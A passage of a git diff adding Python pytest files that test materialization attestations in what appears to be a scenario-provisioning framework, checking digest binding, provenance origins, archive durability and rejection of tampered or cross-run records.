"set_digest": "sha256:" + "0" * 64, + } + ) + manifest = manifest.model_copy(update={"set_digest": associated_artifact_set_digest(manifest)}) + data = (tmp_path / record.reference.ref_path).read_bytes() + parent = parse_sdl(data.decode()) + assert ( + validate_associated_artifact_manifest( + manifest, + parent=parent, + artifact_readers={record.artifact.artifact_id: BytesIO(data)}, + ) + == () + ) + assert validate_associated_artifact_manifest( + manifest, + parent=parse_sdl("name: materialized"), + artifact_readers={record.artifact.artifact_id: BytesIO(data)}, + ) + + +def _run(tmp_path): + payload = _experiment_fixture("experiment-run-v1") + sdl = materialized_payload() + sdl["materialization_provenance"]["run_id"] = payload["run_id"] + record = RunMaterializationArchive(tmp_path).publish(json.dumps(sdl)) + payload["materialization_attestations"] = [record.model_dump(mode="json")] + disclosure = _base_augmentation_disclosure() + disclosure.update( + classifications=["environment_visible", "participant_visible", "comparability_relevant"], + environment_effect="An in-world sensor service is present.", + participant_visibility="The service is network-visible.", + carrier_refs=[record.reference.model_dump(mode="json")], + ) + payload["augmentation_disclosures"] = [disclosure] + return payload + + +def test_run_links_materialized_sdl_without_replacing_original_input(tmp_path): + payload = _run(tmp_path) + run = ExperimentRunModel.model_validate(payload) + assert run.scenario_snapshot_ref.model_dump(mode="json", exclude_none=True) == payload["scenario_snapshot_ref"] + assert run.materialization_attestations[0].reference.ref_kind == "materialization-attestation" + + +@pytest.mark.parametrize("field", ["evidence_refs", "markings", "participant_visibility", "observer_effect"]) +def test_attestation_does_not_replace_visibility_or_evidence_requirements(tmp_path, field): + payload = _run(tmp_path) + del payload["augmentation_disclosures"][0][field] + with pytest.raises(ValueError): + ExperimentRunModel.model_validate(payload) + + +def test_run_refuses_cross_run_and_unarchived_attestation_carriers(tmp_path): + payload = _run(tmp_path) + payload["materialization_attestations"][0]["run_id"] = "another-run" + with pytest.raises(ValueError): + ExperimentRunModel.model_validate(payload) + payload["materialization_attestations"] = [] + with pytest.raises(ValueError): + ExperimentRunModel.model_validate(payload) diff --git a/implementations/python/tests/test_issue_1241_materialization_context.py b/implementations/python/tests/test_issue_1241_materialization_context.py new file mode 100644 index 000000000..9b6a79e82 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_materialization_context.py @@ -0,0 +1,54 @@ +"""Negotiated materialization keeps the authenticated full original SDL input.""" + +import json +from dataclasses import replace + +import pytest +from raes import canonical_instantiated_sdl_digest, parse_sdl +from raes_contracts.plan_projection import provisioning_plan_model, runtime_plan_digest +from raes_contracts.planning import PlanScope +from raes_contracts.vocabulary import RealizationSupportMode +from raes_processor.compiler import compile_runtime_model +from raes_processor.planner import plan +from raes_runtime.control_plane_api_models import _provisioning_plan +from test_sem_218_realization_designation import _manifest + + +def attesting_plan(source=None): + original = _manifest(RealizationSupportMode.OPEN_REALIZATION) + manifest = replace( + original, + supported_contract_versions=original.supported_contract_versions | {"backend-materialization-attestation-v1"}, + ) + model = compile_runtime_model( + parse_sdl( + source or "name: retained-context\ndescription: original source context\nnodes:\n host: {type: compute}" + ) + ) + return plan(model, manifest, scope=PlanScope(run_id="run-1")), model + + +def test_negotiated_plan_retains_full_source_not_only_compiled_resources(): + execution, model = attesting_plan() + assert execution.is_valid, execution.diagnostics + source = execution.provisioning.materialization_source + assert source.run_id == "run-1" + assert source.instantiated_digest == canonical_instantiated_sdl_digest(model.realization_instance).value + assert json.loads(source.snapshot)["scenario"]["description"] == "original source context" + assert execution.orchestration.materialization_source == source + assert execution.evaluation.materialization_source == source + restored = _provisioning_plan(provisioning_plan_model(execution.provisioning)) + assert restored.materialization_source == source + assert runtime_plan_digest(restored) == runtime_plan_digest(execution.provisioning) + assert runtime_plan_digest(replace(restored, materialization_source=None)) != runtime_plan_digest(restored) + + +def test_tampered_source_cannot_reuse_the_original_input_identity(): + execution, _model = attesting_plan() + source = execution.provisioning.materialization_source + changed = json.loads(source.snapshot) + changed["scenario"]["description"] = "substituted" + source_type = type(source) + substituted = {**source.model_dump(), "snapshot": json.dumps(changed)} + with pytest.raises(ValueError): + source_type.model_validate(substituted) diff --git a/implementations/python/tests/test_issue_1241_materialization_durability.py b/implementations/python/tests/test_issue_1241_materialization_durability.py new file mode 100644 index 000000000..5a16e8db4 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_materialization_durability.py @@ -0,0 +1,110 @@ +"""Archive publication follows the existing durable operation/idempotency owner.""" + +import pytest +from raes_backend_stubs.stubs import create_stub_target +from raes_contracts.runtime_state import OperationState, RuntimeSnapshot +from raes_operations.run_artifacts import RunMaterializationArchive +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_store_local import LocalControlPlaneStore +from raes_runtime.registry import RuntimeTarget +from test_issue_1241_materialization_context import attesting_plan +from test_issue_1241_materialization_runtime import ReportingProvisioner + + +@pytest.mark.parametrize("configured", [False, True]) +def test_control_plane_configuration_preserves_keywords_and_defaults(tmp_path, configured): + target = create_stub_target() + snapshot = RuntimeSnapshot() + archive = RunMaterializationArchive(tmp_path) + options = ( + { + "initial_snapshot": snapshot, + "store": None, + "behavior_specifications": {}, + "crossing_policy_resolver": None, + "information_state_context_resolver": None, + "enforce_final_sink_flow_control": False, + "materialization_archive": archive, + } + if configured + else {} + ) + control = RuntimeControlPlane(target, **options) + try: + assert control.snapshot == snapshot + assert control._materialization_archive is (archive if configured else None) + assert control._enforce_final_sink_flow_control is not configured + finally: + control.close() + + +def test_unknown_control_plane_options_fail_before_initialization(monkeypatch): + def unexpected_initialization(self): + pytest.fail("unknown options must fail before lifecycle initialization") + + monkeypatch.setattr(RuntimeControlPlane, "_initialize_runtime_lifecycle", unexpected_initialization) + target = create_stub_target() + with pytest.raises(TypeError, match="unexpected keyword"): + RuntimeControlPlane(target, unknown_option=True) + + +@pytest.mark.parametrize("archive_fails", [False, True]) +def test_durable_restart_retains_references_or_cleanup_without_reapplying(tmp_path, archive_fails): + class FailingArchive: + def publish(self, content): + raise OSError("archive unavailable") + + execution, _model = attesting_plan() + backend = ReportingProvisioner(execution.manifest) + target = RuntimeTarget(name="attesting", manifest=execution.manifest, provisioner=backend) + archive = FailingArchive() if archive_fails else RunMaterializationArchive(tmp_path / "archive") + control = RuntimeControlPlane( + target, + store=LocalControlPlaneStore(tmp_path / "state"), + materialization_archive=archive, + run_scope=f"run:{execution.provisioning.run_id}", + ) + try: + control.register_planner_produced_plan(execution) + receipt = control.submit_provisioning(execution.provisioning, idempotency_key="materialization-once") + assert receipt.accepted, receipt.diagnostics + expected = OperationState.FAILED if archive_fails else OperationState.SUCCEEDED + assert control.get_operation(receipt.operation_id).state == expected + assert "provision.node.host" in control.snapshot.entries + assert bool(control.snapshot.materialization_attestations) is not archive_fails + assert backend.calls == 1 + finally: + control.close() + + recovered = RuntimeControlPlane( + target, + store=LocalControlPlaneStore(tmp_path / "state"), + materialization_archive=archive, + run_scope=f"run:{execution.provisioning.run_id}", + ) + try: + again = recovered.submit_provisioning(execution.provisioning, idempotency_key="materialization-once") + assert again == receipt + assert backend.calls == 1 + assert "provision.node.host" in recovered.snapshot.entries + assert bool(recovered.snapshot.materialization_attestations) is not archive_fails + finally: + recovered.close() + + +def test_empty_plan_cannot_introduce_untrusted_source_lineage(tmp_path): + from raes_contracts.planning import ProvisioningPlan + + execution, _model = attesting_plan() + backend = ReportingProvisioner(execution.manifest) + control = RuntimeControlPlane( + RuntimeTarget(name="attesting", manifest=execution.manifest, provisioner=backend), + materialization_archive=RunMaterializationArchive(tmp_path), + ) + try: + forged = ProvisioningPlan(materialization_source=execution.provisioning.materialization_source) + receipt = control.submit_provisioning(forged) + assert not receipt.accepted + assert backend.calls == 0 + finally: + control.close() diff --git a/implementations/python/tests/test_issue_1241_materialization_evidence.py b/implementations/python/tests/test_issue_1241_materialization_evidence.py new file mode 100644 index 000000000..89535246b --- /dev/null +++ b/implementations/python/tests/test_issue_1241_materialization_evidence.py @@ -0,0 +1,60 @@ +"""New source captures retain earlier progressive evidence without replaying it.""" + +from copy import deepcopy +from pathlib import Path + +import pytest +from tools.check_formal_semantic_validation import load_release_bundles, validate_release_bundle +from tools.formal_semantic_validation import _production, _releases, _replay, _retest +from tools.formal_semantic_validation._archival_invariants import validate_archival_evidence_invariants +from tools.formal_semantic_validation._archival_shape import validate_archival_evidence_shape + + +@pytest.mark.parametrize("revision", sorted(_releases._SOURCE_BOUND_RETEST_REVISIONS)) +@pytest.mark.parametrize("tampered", [False, True]) +def test_each_source_bound_release_checks_its_explicit_baseline(revision, tampered): + root = Path(__file__).resolve().parents[3] + release = next(item for item in load_release_bundles(root) if item.manifest["revision"] == revision) + snapshot = deepcopy(release.snapshot) + if tampered: + snapshot["baseline"]["release_revision"] = revision + failures = [] + _releases._current_retest_source_failures( + root, + snapshot, + failures, + release.manifest["snapshot_path"], + release_revision=revision, + replay_current=False, + ) + assert [failure.rule_id for failure in failures] == (["formal-validation-baseline-selection"] if tampered else []) + + +@pytest.mark.parametrize("revision", ["16.0.0", "17.0.0", "18.0.0"]) +def test_prior_progressive_capture_uses_only_frozen_integrity_checks(monkeypatch, revision): + root = Path(__file__).resolve().parents[3] + release = next(item for item in load_release_bundles(root) if item.manifest["revision"] == revision) + + def no_replay(*args, **kwargs): + pytest.fail("historical validation must not invoke current semantic replay") + + monkeypatch.setattr(_replay, "replay_case", no_replay) + monkeypatch.setattr(_retest, "replay_case", no_replay) + monkeypatch.setattr(_production, "_run_production_evidence_cli", no_replay) + assert validate_release_bundle(root, release) == [] + + +@pytest.mark.parametrize("mode", ["satisfiability", "exploit-path"]) +def test_progressive_archival_admission_rejects_changed_recorded_payloads(mode): + import json + + root = Path(__file__).resolve().parents[3] + name = "finite-domain-satisfiable-v4.json" if mode == "satisfiability" else "typed-exploit-path-valid-v4.json" + payload = json.loads((root / "docs/research/formal-semantic-validation/evidence" / name).read_text()) + validate_archival_evidence_shape(root, payload, mode) + validate_archival_evidence_invariants(payload, mode) + changed = deepcopy(payload) + changed["source"]["byte_digest"] = "sha256:" + "0" * 64 + validate_archival_evidence_shape(root, changed, mode) + with pytest.raises(ValueError): + validate_archival_evidence_invariants(changed, mode) diff --git a/implementations/python/tests/test_issue_1241_materialization_inventory.py b/implementations/python/tests/test_issue_1241_materialization_inventory.py new file mode 100644 index 000000000..22b2c04f1 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_materialization_inventory.py @@ -0,0 +1,97 @@ +"""Attestation inventory checks use full native SDL without inventing evidence.""" + +from copy import deepcopy +from dataclasses import replace + +import pytest +from raes_contracts.runtime_state import RuntimeSnapshot +from raes_processor.planner import admit_materialization_submission +from test_issue_1241_materialization_context import attesting_plan +from test_issue_1241_materialization_runtime import ReportingProvisioner + + +def test_sparse_native_runtime_inventory_matches_the_same_described_sdl(): + execution, _ = attesting_plan("name: augmented\nrealization: {default: open}\nnodes:\n host: {type: compute}") + request = replace(execution.provisioning, operation_id="reported-operation") + previous = RuntimeSnapshot() + reporter = ReportingProvisioner( + execution.manifest, + lambda document: document["nodes"]["host"].update( + runtime={"environment": [{"name": "COLLECTOR", "value": "enabled"}]} + ), + realize=True, + ) + result = reporter.apply(request, previous) + # The backend reports only actual native members, not all optional SDL defaults. + entry = result.snapshot.entries["provision.node.host"] + payload = { + **entry.payload, + "spec": { + **entry.payload["spec"], + "node": { + **entry.payload["spec"]["node"], + "runtime": {"environment": [{"name": "COLLECTOR", "value": "enabled"}]}, + }, + }, + } + actual = result.snapshot.with_entries({entry.address: replace(entry, payload=payload)}) + admitted = admit_materialization_submission( + result.materialization_attestation, request, execution.manifest, previous, actual + ) + assert "COLLECTOR" in admitted.sdl + # This descriptive check alone does not satisfy runtime corroboration requirements. + + +def test_replica_cardinality_is_bounded_before_enumerating_indices(monkeypatch): + import raes_processor.planner.materialization_admission as admission + + execution, _ = attesting_plan( + "name: many\nnodes:\n host: {type: compute}\ninfrastructure:\n host: {count: 1000000}" + ) + request = replace(execution.provisioning, operation_id="many") + previous = RuntimeSnapshot() + result = ReportingProvisioner(execution.manifest).apply(request, previous) + enumerated = [] + + def bounded_range(count): + enumerated.append(count) + raise AssertionError("cardinality must be checked before allocating indices") + + monkeypatch.setattr(admission, "range", bounded_range, raising=False) + with pytest.raises(ValueError): + admit_materialization_submission( + result.materialization_attestation, request, execution.manifest, previous, result.snapshot + ) + assert not enumerated + + +@pytest.mark.parametrize("phase", ["orchestration", "evaluation"]) +@pytest.mark.parametrize("tampered", [False, True]) +def test_later_phase_checks_retained_safe_inventory_without_revealing_values(phase, tampered): + from raes_contracts.runtime_state import ApplyResult + from raes_processor.semantics.realization_snapshot_sanitization import sanitize_realization_snapshot + + execution, model = attesting_plan( + "name: prior-world\nnodes:\n host:\n type: compute\n runtime:\n" + " environment: [{name: MODE, value: enabled}]\n" + ) + provision = replace(execution.provisioning, operation_id="provision") + reporter = ReportingProvisioner(execution.manifest) + raw = reporter.apply(provision, RuntimeSnapshot()) + previous = sanitize_realization_snapshot(model.realization_requirements, raw.snapshot) + entry = previous.entries["provision.node.host"] + payload = deepcopy(entry.payload) + environment = payload["spec"]["node"]["runtime"]["environment"][0] + assert "value" not in environment + assert "value_commitment" in environment + if tampered: + environment["value_commitment"] = "raes-runtime-value-jcs-sha256-v1:sha256:" + "0" * 64 + previous = previous.with_entries({entry.address: replace(entry, payload=payload)}) + request = replace(getattr(execution, phase), operation_id=phase) + report = reporter.report(request, previous, ApplyResult(True, previous)).materialization_attestation + if tampered: + with pytest.raises(ValueError, match="outside its operation domain"): + admit_materialization_submission(report, request, execution.manifest, previous, previous) + else: + admitted = admit_materialization_submission(report, request, execution.manifest, previous, previous) + assert "value_commitment" not in admitted.sdl diff --git a/implementations/python/tests/test_issue_1241_materialization_origins.py b/implementations/python/tests/test_issue_1241_materialization_origins.py new file mode 100644 index 000000000..13f1a9c67 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_materialization_origins.py @@ -0,0 +1,195 @@ +"""Materialization differences preserve native collection identities and order.""" + +import json + +import pytest +from raes import instantiate_scenario, parse_sdl +from test_issue_1241_materialized_sdl import materialization_provenance + + +def _pair(source, update): + from copy import deepcopy + + source = instantiate_scenario(parse_sdl(json.dumps({"name": "origins", **source}))) + content = source.model_dump(mode="json", exclude={"instantiation_provenance"}) + changed = deepcopy(content) + update(changed) + changed["materialization_provenance"] = materialization_provenance() + return source, parse_sdl(json.dumps(changed)) + + +def _differences(source, changed): + from raes_processor.compiler import materialization_differences + + return { + (item.change, item.field_pointer, item.source_pointer) for item in materialization_differences(source, changed) + } + + +def test_new_environment_entry_is_not_an_authored_node_replacement(): + source, changed = _pair( + {"nodes": {"host": {"type": "compute", "runtime": {"environment": [{"name": "MODE", "value": "authored"}]}}}}, + lambda document: document["nodes"]["host"]["runtime"]["environment"].append( + {"name": "COLLECTOR", "value": "enabled"} + ), + ) + assert _differences(source, changed) == {("added", "/nodes/host/runtime/environment/1", None)} + + +def test_keyed_environment_reordering_preserves_authored_origins(): + source, changed = _pair( + { + "nodes": { + "host": { + "type": "compute", + "runtime": { + "environment": [ + {"name": "A", "value": "first"}, + {"name": "B", "value": "second"}, + ] + }, + } + } + }, + lambda document: document["nodes"]["host"]["runtime"]["environment"].reverse(), + ) + assert not _differences(source, changed) + + +def test_changed_keyed_member_tracks_both_original_and_materialized_positions(): + def update(document): + entries = document["nodes"]["host"]["runtime"]["environment"] + entries.reverse() + entries[0]["value"] = "changed" + + source, changed = _pair( + { + "nodes": { + "host": { + "type": "compute", + "runtime": { + "environment": [ + {"name": "A", "value": "first"}, + {"name": "B", "value": "second"}, + ] + }, + } + } + }, + update, + ) + assert _differences(source, changed) == { + ("selected", "/nodes/host/runtime/environment/0/value", "/nodes/host/runtime/environment/1/value") + } + + +def test_ordered_commands_are_not_treated_as_an_unordered_inventory(): + source, changed = _pair( + {"nodes": {"host": {"type": "compute", "runtime": {"container": {"command": ["first", "second"]}}}}}, + lambda document: document["nodes"]["host"]["runtime"]["container"]["command"].reverse(), + ) + assert len(_differences(source, changed)) == 2 + + +@pytest.mark.parametrize("change", ["added", "selected"]) +def test_origin_claims_must_exactly_account_for_actual_differences(change): + from raes_processor.compiler import validate_materialization_origins + + source, changed = _pair({"nodes": {"host": {"type": "compute"}}}, lambda document: None) + payload = changed.model_dump(mode="json") + payload["materialization_provenance"]["origins"] = [ + { + "field_pointer": "/nodes/host", + "change": change, + "origin": "backend-realized", + **({"source_pointer": "/nodes/host"} if change == "selected" else {}), + } + ] + described = parse_sdl(json.dumps(payload)) + with pytest.raises(ValueError, match="origins"): + validate_materialization_origins(source, described) + + +def test_replaced_keyed_member_has_distinct_removed_and_added_origins_at_same_index(): + from raes_processor.compiler import materialization_differences, validate_materialization_origins + + source, changed = _pair( + {"nodes": {"host": {"type": "compute", "runtime": {"environment": [{"name": "OLD", "value": "v"}]}}}}, + lambda document: document["nodes"]["host"]["runtime"]["environment"][0].update(name="NEW"), + ) + payload = changed.model_dump(mode="json") + payload["materialization_provenance"]["origins"] = [ + item.model_dump(mode="json") for item in materialization_differences(source, changed) + ] + admitted = parse_sdl(json.dumps(payload)) + validate_materialization_origins(source, admitted) + assert {item.change for item in admitted.materialization_provenance.origins} == {"added", "removed"} + + +def test_login_wrapper_and_rewritten_rule_corpus_have_their_own_origins(): + def update(document): + runtime = document["nodes"]["host"]["runtime"] + runtime["ssh_servers"][0]["forced_command"]["command"] = "/usr/local/bin/session-wrapper" + runtime["filesystem_inventory"][0]["content_digest"] = "b" * 64 + + source, changed = _pair( + { + "nodes": { + "host": { + "type": "compute", + "services": [{"name": "ssh", "port": 22}], + "runtime": { + "ssh_servers": [ + { + "ssh_server_id": "login", + "service": "ssh", + "forced_command": { + "command_kind": "absolute_path", + "command": "/bin/sh", + }, + } + ], + "filesystem_inventory": [ + { + "path": "/etc/sensor/rules", + "entry_type": "file", + "digest_algorithm": "sha256", + "content_digest": "a" * 64, + } + ], + }, + } + } + }, + update, + ) + assert _differences(source, changed) == { + ( + "selected", + "/nodes/host/runtime/ssh_servers/0/forced_command/command", + "/nodes/host/runtime/ssh_servers/0/forced_command/command", + ), + ( + "selected", + "/nodes/host/runtime/filesystem_inventory/0/content_digest", + "/nodes/host/runtime/filesystem_inventory/0/content_digest", + ), + } + + +def test_imported_source_identity_survives_realization_diff(tmp_path): + from raes import parse_sdl_file + + (tmp_path / "module.sdl").write_text( + "name: imported\nversion: 1.0.0\nmodule:\n id: example/imported\n version: 1.0.0\n exports: {nodes: [host]}\nnodes:\n host: {type: compute}\n", + encoding="utf-8", + ) + root = tmp_path / "root.sdl" + root.write_text("name: root\nimports:\n - {source: local:module.sdl, namespace: lab}\n", encoding="utf-8") + source = instantiate_scenario(parse_sdl_file(root)) + content = source.model_dump(mode="json", exclude={"instantiation_provenance"}) + content["nodes"]["lab.host"]["services"] = [{"name": "metrics", "port": 9090}] + content["materialization_provenance"] = materialization_provenance() + changed = parse_sdl(json.dumps(content)) + assert _differences(source, changed) == {("added", "/nodes/lab.host/services/0", None)} + assert source.instantiation_provenance.imports[0].namespace == ("lab",) diff --git a/implementations/python/tests/test_issue_1241_materialization_runtime.py b/implementations/python/tests/test_issue_1241_materialization_runtime.py new file mode 100644 index 000000000..31f989046 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_materialization_runtime.py @@ -0,0 +1,335 @@ +"""An attestation is bound and validated after apply without replacing authority.""" + +import json +from dataclasses import replace + +import pytest +from raes_backend_protocols.manifest import backend_manifest_v2_model +from raes_backend_stubs.stubs import StubProvisioner +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.plan_projection import runtime_plan_digest +from raes_contracts.realization_preparation import preparation_snapshot_digest +from raes_contracts.runtime_state import RuntimeSnapshot +from raes_operations.run_artifacts import RunMaterializationArchive +from raes_runtime.backend_calls import _BackendCallContext, _call_backend_apply, _RealizationApplyContext +from test_issue_1241_materialization_context import attesting_plan +from test_issue_1241_materialized_sdl import materialization_provenance + + +class ReportingProvisioner: + def __init__(self, manifest, mutate=None, *, omit=False, realize=False): + self.manifest, self.mutate, self.omit = manifest, mutate, omit + self.realize = realize + self.calls = 0 + + def validate(self, request): + return [] + + def apply(self, request, previous): + self.calls += 1 + result = StubProvisioner(self.manifest.realization_envelope).apply(request, previous) + return self.report(request, previous, result) + + def report(self, request, previous, result): + from raes_contracts.materialization import MaterializationSubmission + + if self.omit or request.materialization_source is None: + return result + source = request.materialization_source + document = json.loads(source.snapshot)["scenario"] + document.pop("instantiation_provenance") + document["materialization_provenance"] = materialization_provenance( + authored_digest={"profile": "raes-sdl-semantic/v2", "algorithm": "sha256", "value": source.authored_digest}, + instantiated_digest={ + "profile": "raes-sdl-instantiated-snapshot/v2", + "algorithm": "sha256", + "value": source.instantiated_digest, + }, + plan_digest=runtime_plan_digest(request), + predecessor_digest=preparation_snapshot_digest(previous), + operation_id=request.operation_id, + run_id=source.run_id, + producer={ + "name": self.manifest.name, + "version": self.manifest.version, + "manifest_digest": canonical_json_digest( + backend_manifest_v2_model(self.manifest).model_dump(mode="json") + ), + "configuration_digest": self.manifest.realization_envelope.configuration.configuration_digest, + }, + resource_bindings=[ + {"address": "provision.node.host", "node_name": "host", "source_node": "host", "instance_index": 0} + ], + ) + if self.mutate: + self.mutate(document) + if self.realize: + from raes import admit_instantiated_scenario, parse_sdl + from raes_processor.compiler import compile_runtime_model, materialization_differences + from raes_processor.planner import plan + + original = admit_instantiated_scenario(json.loads(source.snapshot)["scenario"]) + parsed = parse_sdl(json.dumps(document)) + document["materialization_provenance"]["origins"] = [ + origin.model_dump(mode="json") for origin in materialization_differences(original, parsed) + ] + resources = plan(compile_runtime_model(parsed), self.manifest).provisioning.resources + entries = { + address: replace(entry, payload=resources[address].payload) + for address, entry in result.snapshot.entries.items() + } + result = replace(result, snapshot=result.snapshot.with_entries(entries)) + return replace(result, materialization_attestation=MaterializationSubmission(sdl=json.dumps(document))) + + +def _apply(tmp_path, *, mutate=None, omit=False, archive=True, source=None, realize=False): + execution, _model = attesting_plan(source) + backend = ReportingProvisioner(execution.manifest, mutate, omit=omit, realize=realize) + previous = RuntimeSnapshot() + result = _call_backend_apply( + backend.apply, + execution.provisioning, + previous, + snapshot=previous, + address="runtime.attesting", + realization=_RealizationApplyContext(plan=execution.provisioning, manifest=execution.manifest), + call=_BackendCallContext(materialization_archive=RunMaterializationArchive(tmp_path) if archive else None), + ) + return result, backend + + +def test_no_additions_still_returns_and_archives_a_first_class_attestation(tmp_path): + result, backend = _apply(tmp_path) + assert result.success, result.diagnostics + assert backend.calls == 1 + assert result.materialization_attestation is not None + assert len(result.snapshot.materialization_attestations) == 1 + assert (tmp_path / result.snapshot.materialization_attestations[0].reference.ref_path).is_file() + + +def test_missing_mandatory_report_is_not_success_and_keeps_cleanup_inventory(tmp_path): + result, backend = _apply(tmp_path, omit=True) + assert not result.success + assert backend.calls == 1 + assert "provision.node.host" in result.snapshot.entries + assert not result.snapshot.materialization_attestations + + +def test_missing_archive_owner_fails_before_mutating_the_backend(tmp_path): + result, backend = _apply(tmp_path, archive=False) + assert not result.success + assert backend.calls == 0 + + +@pytest.mark.parametrize( + "field", ["authored_digest", "instantiated_digest", "plan_digest", "predecessor_digest", "operation_id", "run_id"] +) +def test_stale_or_cross_run_attestation_is_refused(tmp_path, field): + def mutate(document): + value = document["materialization_provenance"][field] + if isinstance(value, dict): + value["value"] = "sha256:" + "0" * 64 + else: + document["materialization_provenance"][field] = ( + "sha256:" + "0" * 64 if field.endswith("digest") else "wrong" + ) + + result, backend = _apply(tmp_path, mutate=mutate) + assert not result.success + assert backend.calls == 1 + assert "provision.node.host" in result.snapshot.entries + assert not result.snapshot.materialization_attestations + assert not list(tmp_path.iterdir()) + + +def test_source_echo_cannot_hide_missing_returned_inventory(tmp_path): + def mutate(document): + document["nodes"].clear() + document["materialization_provenance"]["origins"] = [ + { + "change": "removed", + "field_pointer": "/nodes/host", + "source_pointer": "/nodes/host", + "origin": "backend-realized", + } + ] + document["materialization_provenance"]["resource_bindings"] = [] + + result, _backend = _apply(tmp_path, mutate=mutate) + assert not result.success + assert not result.snapshot.materialization_attestations + + +def test_manager_returns_the_attestation_through_the_existing_apply_flow(tmp_path): + from raes_runtime import RuntimeManager + from raes_runtime.registry import RuntimeTarget + + execution, _model = attesting_plan() + backend = ReportingProvisioner(execution.manifest) + manager = RuntimeManager( + RuntimeTarget(name="attesting", manifest=execution.manifest, provisioner=backend), + materialization_archive=RunMaterializationArchive(tmp_path), + ) + result = manager.apply(replace(execution, target_name="attesting")) + assert result.success, result.diagnostics + assert result.materialization_attestation is not None + assert manager.snapshot.materialization_attestations == result.snapshot.materialization_attestations + + +def test_cleanup_does_not_require_a_new_materialization_attestation(tmp_path): + from raes_runtime import RuntimeManager + from raes_runtime.registry import RuntimeTarget + + execution, _model = attesting_plan() + backend = ReportingProvisioner(execution.manifest) + manager = RuntimeManager( + RuntimeTarget(name="attesting", manifest=execution.manifest, provisioner=backend), + materialization_archive=RunMaterializationArchive(tmp_path), + ) + applied = manager.apply(replace(execution, target_name="attesting")) + assert applied.success + destroyed = manager.destroy() + assert destroyed.success, destroyed.diagnostics + assert not destroyed.snapshot.entries + assert destroyed.snapshot.materialization_attestations == applied.snapshot.materialization_attestations + + +def test_scoped_stop_is_not_a_materialization_request(): + from raes_contracts.planning import RuntimeDomain + from raes_contracts.runtime_state import ApplyResult + + execution, _model = attesting_plan() + previous = RuntimeSnapshot() + calls = [] + + def stop(snapshot): + calls.append(True) + return ApplyResult(True, snapshot) + + result = _call_backend_apply( + stop, + previous, + address="runtime.stop", + snapshot=previous, + realization=_RealizationApplyContext(manifest=execution.manifest, stop_domain=RuntimeDomain.PROVISIONING), + ) + assert result.success, result.diagnostics + assert calls == [True] + + +@pytest.mark.parametrize("indices,success", [([0, 1], True), ([0], False), ([0, 2], False)]) +def test_every_replica_has_a_distinct_complete_instance_binding(tmp_path, indices, success): + def mutate(document): + document["materialization_provenance"]["resource_bindings"] = [ + {"address": "provision.node.host", "node_name": "host", "source_node": "host", "instance_index": index} + for index in indices + ] + + result, _ = _apply( + tmp_path, + mutate=mutate, + source="name: replicas\nnodes:\n host: {type: compute}\ninfrastructure:\n host: {count: 2}", + ) + assert result.success is success, result.diagnostics + + +def test_faulty_archive_cannot_substitute_another_run_record(tmp_path): + class SubstitutingArchive: + def publish(self, content): + record = RunMaterializationArchive(tmp_path).publish(content) + return record.model_copy(update={"run_id": "another-run"}) + + execution, _ = attesting_plan() + previous = RuntimeSnapshot() + backend = ReportingProvisioner(execution.manifest) + result = _call_backend_apply( + backend.apply, + execution.provisioning, + previous, + snapshot=previous, + address="runtime.attesting", + realization=_RealizationApplyContext(plan=execution.provisioning, manifest=execution.manifest), + call=_BackendCallContext(materialization_archive=SubstitutingArchive()), + ) + assert not result.success + assert "provision.node.host" in result.snapshot.entries + assert not result.snapshot.materialization_attestations + + +def test_permitted_in_world_addition_is_archived_at_member_granularity(tmp_path): + def mutate(document): + document["nodes"]["host"]["services"] = [{"name": "metrics", "port": 9090}] + + result, _ = _apply( + tmp_path, + mutate=mutate, + realize=True, + source="name: augmented\nrealization: {default: open}\nnodes:\n host: {type: compute}", + ) + assert result.success, result.diagnostics + from raes import parse_sdl + + report = parse_sdl(result.materialization_attestation.sdl) + assert report.nodes["host"].services[0].name == "metrics" + assert all(origin.field_pointer != "/nodes/host" for origin in report.materialization_provenance.origins) + + +def test_truthful_report_does_not_excuse_a_changed_exact_authored_value(tmp_path): + result, _ = _apply( + tmp_path, + mutate=lambda document: document["nodes"]["host"].update(architecture="aarch64"), + realize=True, + source="name: exact\nrealization: {default: open}\nnodes:\n host: {type: compute, architecture: x86_64}", + ) + assert not result.success + assert any(diagnostic.code != "runtime.materialization-attestation-invalid" for diagnostic in result.diagnostics) + assert not result.snapshot.materialization_attestations + + +@pytest.mark.parametrize("phase", ["orchestration", "evaluation"]) +def test_non_provisioning_materialization_returns_a_bound_no_additions_report(tmp_path, phase): + from raes_contracts.runtime_state import ApplyResult + + execution, _ = attesting_plan("name: empty-world") + reporter = ReportingProvisioner( + execution.manifest, lambda document: document["materialization_provenance"].update(resource_bindings=[]) + ) + previous = RuntimeSnapshot() + result = _call_backend_apply( + lambda request, prior: reporter.report(request, prior, ApplyResult(True, prior)), + getattr(execution, phase), + previous, + snapshot=previous, + address="runtime.materialization", + realization=_RealizationApplyContext(manifest=execution.manifest), + call=_BackendCallContext(materialization_archive=RunMaterializationArchive(tmp_path)), + ) + assert result.success, result.diagnostics + assert result.materialization_attestation is not None + assert len(result.snapshot.materialization_attestations) == 1 + + +def test_evaluator_cannot_claim_unreturned_provisioning_effects(tmp_path): + from raes_contracts.runtime_state import ApplyResult + + def mutate(document): + document["nodes"] = {"sensor": {"type": "compute"}} + document["materialization_provenance"].update( + origins=[{"field_pointer": "/nodes/sensor", "change": "added", "origin": "backend-realized"}], + resource_bindings=[{"address": "provision.node.sensor", "node_name": "sensor"}], + ) + + execution, _ = attesting_plan("name: empty-world") + reporter = ReportingProvisioner(execution.manifest, mutate) + previous = RuntimeSnapshot() + result = _call_backend_apply( + lambda request, prior: reporter.report(request, prior, ApplyResult(True, prior)), + execution.evaluation, + previous, + snapshot=previous, + address="runtime.materialization", + realization=_RealizationApplyContext(manifest=execution.manifest), + call=_BackendCallContext(materialization_archive=RunMaterializationArchive(tmp_path)), + ) + assert not result.success + assert not result.snapshot.materialization_attestations diff --git a/implementations/python/tests/test_issue_1241_materialization_schemas.py b/implementations/python/tests/test_issue_1241_materialization_schemas.py new file mode 100644 index 000000000..cdf8a71f7 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_materialization_schemas.py @@ -0,0 +1,49 @@ +"""Published phase and result schemas preserve the same strict exchange shapes.""" + +from copy import deepcopy + +import pytest +from jsonschema import Draft202012Validator +from 